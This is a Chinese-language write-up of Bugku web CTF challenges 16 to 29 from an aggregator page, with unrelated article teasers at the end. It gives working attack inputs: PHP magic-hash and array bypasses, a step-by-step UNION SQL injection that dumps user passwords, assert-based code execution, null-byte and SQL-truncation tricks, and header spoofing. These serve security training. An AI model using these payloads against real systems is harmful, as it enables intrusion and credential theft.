[Bugku][Web][CTF] 16-29 write up

【说明】 整合资源 简略版本2020Bugku write up

web16 备份是个好习惯
/index.php.bak 查看php代码
1.因为md5()函数加密不能处理数组,则key1和key2的返回值为空,即可获得flag
http://123.206.87.240:8002/web16/?kkeyey1[]=1&kkeyey2[]=4
2.利用==比较漏洞
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
http://123.206.87.240:8002/web16/?kkeyey1=s214587387a&kkeyey2=240610708

参考连接:https://blog.csdn.net/qq_42133828/article/details/84871544?utm_medium=distribute.pc_relevant.none-task-blog-searchFromBaidu-2.not_use_machine_learn_pai&depth_1-utm_source=distribute.pc_relevant.none-task-blog-searchFromBaidu-2.not_use_machine_learn_pai

web17 sql注入
sqlmap工具或Hackbar手动注入
1.判断是否存在注入,注入是字符型还是数字型
抓包更改参数id为
1′ or 1=1 #
2.猜解SQL查询语句中的字段数
1 order by 2 #
1 order by 3 #
3.确定显示的字段顺序
1 union select 1,2 #
4.获取当前数据库
1 union select 1,database() #
5.获取数据库中的表
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
6.获取表中的字段名
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #
7.下载数据
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
参考链接:https://blog.csdn.net/qq_35811830/article/details/86655279?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromBaidu-1.not_use_machine_learn_pai&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromBaidu-1.not_use_machine_learn_pai

web18 秋名山老司机
python脚本 requests get post eval()
https://blog.csdn.net/weixin_41607190/article/details/87932977

web19 快
python requests 两次base64解码
https://blog.csdn.net/changer_WE/article/details/88805322?utm_medium=distribute.pc_relevant_t0.none-task-blog-searchFromBaidu-1.not_use_machine_learn_pai&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-searchFromBaidu-1.not_use_machine_learn_pai

web20 cookie欺骗
base64 index.php line=1 margin欺骗
filename参数显然是base64加密,解密后为keys.txt, line参数猜测为代码行数,尝试将filename改为index.php的base64加密,line不同显示不同行的代码,写一个python脚本跑出所有代码,根据代码逻辑,存在 keys.php页面,且必须 传送margin参数才能访问,使用hackbar传送cookie参数margin,在网站源码 找到flag。
https://blog.csdn.net/changer_WE/article/details/88978647?utm_medium=distribute.pc_relevant_t0.none-task-blog-searchFromBaidu-1.control&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-searchFromBaidu-1.control

web 21 never give up
1.跳转 抓包或 view-source:
2.三重加密 url% base64 url
3.php
3.1stripos函数 伪协议绕过stripos php://input
3.2 .eregi函数 可以用数组绕过,也可以用%00截断
int eregi(string pattern, string string, [array regs]);
strlen(b)>5anderegi("111".substr(b)>5anderegi("111".substr(b)>5anderegi("111".substr(b,0,1),“1114”)andsubstr($b,0,1)!=4
b=%0012345 ereg函数存在NULL截断漏洞
或者*12345或者?12345或者.12345(这里是运用了正则表达式的思想)
3.3 id==0 id=%00或者id=.或者id=0e1

扩展php:https://skysec.top/2017/07/22/PHP%E5%87%BD%E6%95%B0%E9%BB%91%E9%AD%94%E6%B3%95%E5%B0%8F%E6%80%BB%E7%BB%93/
参考链接:
https://www.cnblogs.com/cyc-endeavor/p/10375692.html
https://blog.csdn.net/qq_34072526/article/details/86946759?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.control

web22
关键字:php scandir()函数、assert代码执行漏洞
?s=print_r(scandir(’./’)) 读取目录及子目录下所有文件名的方法

最简单的是print_r(scandir($dir)),还可以利用print_r(glob("."))
scandir() //作用能扫描文件夹下的目录和文件,返回值为所有文件名组成的一个数组
show_source() //显示文件源码
highlight_file() //和show_source()函数是一个意思

构造: http://123.206.87.240:8010/ ?s=print_r(scandir(’./’))

参考连接:https://www.cnblogs.com/0yst3r-2046/p/10781215.html

web23 正则

?id = keyabkeyabcdkey:/a/keya?

“/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]/i”

. 匹配除 “\n” 之外的任何单个字符

  •                             匹配它前面的表达式0次或多次,等价于{0,}
    

{4,7} 最少匹配 4 次且最多匹配 7 次,结合前面的 . 也就是匹配 4 到 7 个任意字符
/ 匹配 / ,这里的 \ 是为了转义
[a-z] 匹配所有小写字母
[:punct:] 匹配任何标点符号
/i 表示不分大小写
https://www.cnblogs.com/0x200/p/13739130.html

web 24
关键字 hash strcmpy

?v1=240610708&v2=s878926199a&v3[]=1
1.md5 hash
利用比较漏洞
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
2.strcmp绕过
strcmp比较的是字符串类型,如果强行传入其他类型参数,会出错,出错后返回值0,正是利用这点进行绕过。
flag[]=xxx 》》 strcmp比较出错 》》返回null 》》null
0 》》条件成立得到flag

web25 hint:SQL约束攻击
1.注册一个在数据库中会被认为是admin的账户,然后使用这个admin账户登录。
注册用户名
admin (我注册的admin后面有20个空格)
密码随便弄一个,但要符合要求

2.注册成功之后用你注册的登陆

知识点
1.在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。
SELECT * FROM users WHERE username='vampire ';

但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。
2.在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。

参考链接

web26 google
构造referer字段
referer: https://www.google.com
参考链接:https://blog.csdn.net/qq_43271194/article/details/89970819

web 27 hash碰撞
?a=240610708
md5 hash
利用==比较漏洞
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

web28 请从本地访问
抓包 添加字段 X-Forwarded-For:127.0.0.1
X-Forwarded-For(伪装头部)知识点:https://www.jianshu.com/p/98c08956183d

web29 各种绕过
关键字: sha1 get post
知识点: sha1 构造数组
步骤:读懂源代码,uname get, passed post ,只要使uname的sha1的值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等

构造 /?uname[]=1&id=margin 并发送 passwd[]=2 的 postdata 请求即可

https://www.cnblogs.com/0yst3r-2046/p/10928402.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/424636.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据结构一—— 数组

文章出处:极客时间《数据结构和算法之美》-作者:王争。该系列文章是本人的学习笔记。 如何实现随机访问 数组是一种线性表数据结构。它用一组连续的内存空间,来存储一组具有相同类型的数据。 线性表 线性表的数据最多只有前和后两个方向。…

第三十九期:1024特别版:向“程序媛们”致敬!

对女性程序员而言,似乎怎么选择都是错:闯入男性领地,输了,会强化社会对女性的固有刻板印象;赢了,打破了职业性别固化,会导致整个职业收入的下降。 作者:奇点、轻音 “到家得十二点半…

django-中间件

1.django中间件的5个方法 process_request(self,request) process_view(self, request, callback, callback_args, callback_kwargs) process_template_response(self,request,response) process_exception(self, request, exception) process_response(self, request, respons…

第四十期:十年生死两茫茫,Linux QQ突然复活!

就在 1024 将将过去的深夜,突然,有人在 QQ 群内丢了一个链接和一句话“Linux QQ 发布了”,顿时在静悄悄的 QQ 群内,大家纷纷冒了出来。一时间,群内就和开了锅一样热闹,大家纷纷抄起心爱的土琵琶 Linux&…

数据结构二——链表

文章出处:极客时间《数据结构和算法之美》-作者:王争。该系列文章是本人的学习笔记。 底层存储 数组:一块连续的内存空间。 链表:用指针串起来的一组零散的内存空间。 链表分类:单链表、双向链表、循环链表 单链表…

[Bugku][Web][CTF] 30-33 write up

【说明】 整合资源 简略版本2020Bugku write up web30 关键字: txt or file_get_contents(fn)知识点:filegetcontents(fn) 知识点: file_get_contents(fn)知识点:fileg​etc​ontents(fn) 联想 php://input 步骤: 1.1…

UML作业第五次:分析系统,绘制状态图

一. PlantUML状态图 语法学习小结 1.简单状态 我们使用[*]开始和结束状态图,使用-->添加箭头。 startuml [*] --> Test1 Test1 --> [*] Test1 : this is a test Test1 : this is another testTest1 -> Test2 Test2 --> [*] enduml 2.更改状态渲染 我…

第四十一期:从Windows到鸿蒙——操作系统的前世与今生

世界上操作系统生意做得最好的是微软,但是世界上第一个做操作系统生意的不是微软,Windows也不是世界上最好用的系统。 作者:苏亚 “做一个操作系统的技术难度不大,难度大的是生态。”——任正非 华为被谷歌断供之后&#xff0c…

算法一——排序

文章出处:极客时间《数据结构和算法之美》-作者:王争。该系列文章是本人的学习笔记。 分析排序算法的角度 算法的执行效率 算法的执行效率一般从时间复杂度以及比较、交换次数来考虑。 时间复杂度 时间复杂度需要考虑最好情况、最坏情况、平均情况时…

[Bugku][Crypto][CTF][2020]Crypto 1-20 write up

工具:CaptEncoder https://www.freebuf.com/sectool/188397.html Convert:https://pan.baidu.com/s/17YPXfvBHl_HyA00AffTBvg 密码:skqw 推荐网站:http://ctf.ssleye.com/ Crypto 1 关键字: 莫斯 /.- 步骤:莫斯解码得…

《我的十年图像生涯》—王郑耀(西安交通大学)

最近看王郑耀的《我的十年图像生涯》颇有感悟,在此把他的资料总结下 参考: 1.王郑耀《我的十年图像生涯》博客 链接——https://www.cnblogs.com/jsxyhelu/p/7054573.html 里边有自己这十年的经历; 2.王郑耀《数字图像的边缘检测》本科论文 链…

第四十二期:Linux转正日常办公电脑到底行不行

昨天是中国程序员们自定义的程序员日,阿里在秀食堂,另一网络巨头腾讯也不甘寂寞地小蹭了一下这个节日:发布了Linux QQ 2.0 beta,宣告Linux版QQ回归。 作者:电脑报 昨天是中国程序员们自定义的程序员日,阿…

算法二——二分查找

文章出处:极客时间《数据结构和算法之美》-作者:王争。该系列文章是本人的学习笔记。 思考题目 1 用最省内存的方式查找数据。 2 快速定位ip所在省市 二分查找的速度 二分每次都通过跟区间中的中间元素对比,将待查找的区间缩小为一半&…

[Kali][VMware][2020][窗口大小][分辨率]高分辨率自适应

1.Vmware->查看->自动调整大小->自动适应窗口 2.Kali现在提供了HiDPI模式。此模式可调整GTK,QT甚至基于Java的界面的缩放比例,因此用户无需手动修改每个界面。您可以通过从应用程序菜单中打开“ Kali HiDPI模式”或kali-hidpi-mode从终端运行来…

第四十三期:Wireshark网络分析就这么简单,你一定会喜欢的技巧

拿到一个网络包时,我们总是希望它是尽可能小的。操作一个大包相当费时,有时甚至会死机。如果让初学者分析1GB以上的包,估计会被打击得信心全无。所以抓包时应该尽量只抓必要的部分。 作者:科技yuan 一、抓包 拿到一个网络包时&a…

Beta冲刺(9/7)——2019.5.31

作业描述 课程软件工程1916|W(福州大学)团队名称修!咻咻!作业要求项目Beta冲刺(团队)团队目标切实可行的计算机协会维修预约平台开发工具Eclipse团队信息 队员学号队员姓名个人博客地址备注221600207黄权焕https://www.cnblogs.co…

数据结构三——跳表

文章出处:极客时间《数据结构和算法之美》-作者:王争。该系列文章是本人的学习笔记。 跳表的由来 说明:图片来自极客时间 由来   二分查找的数据结构是数组,利用数组随机访问的特定查找的时间复杂度是O(logn)。如果数据结构是…

[BUGKU][CTF][MISC][2020] MISC writeup持续更新中

CTF总结 ctf基本操作:https://blog.csdn.net/mafucan/article/details/106886421 zip: https://www.anquanke.com/post/id/86211 找软件推荐网址 1.https://www.52pojie.cn/ 2.没有的话百度一下 去找百度云 工具下载: stegSolve 隐写分析 需要配置Java…

spring学习(1):初始项目

1打开idea----new project 2点击建立项目的类型maven 点击next 3点击next 4选择路径&#xff0c;点击完成 5建立成功之后修改pom.xml配置文件 添加&#xff0c;解决依赖关系 <dependencies><dependency><groupId>org.springframework</groupId><ar…

while语句学习

while语句 while [break][continue] break 退出当前循环continue 退出当前循环&#xff0c;并重新循环。执行语句可以是单个语句或语句块。判断条件可以是任何表达式&#xff0c;任何非零、或非空&#xff08;null&#xff09;的值均为true。 当判断条件假false时&#xff0c;循…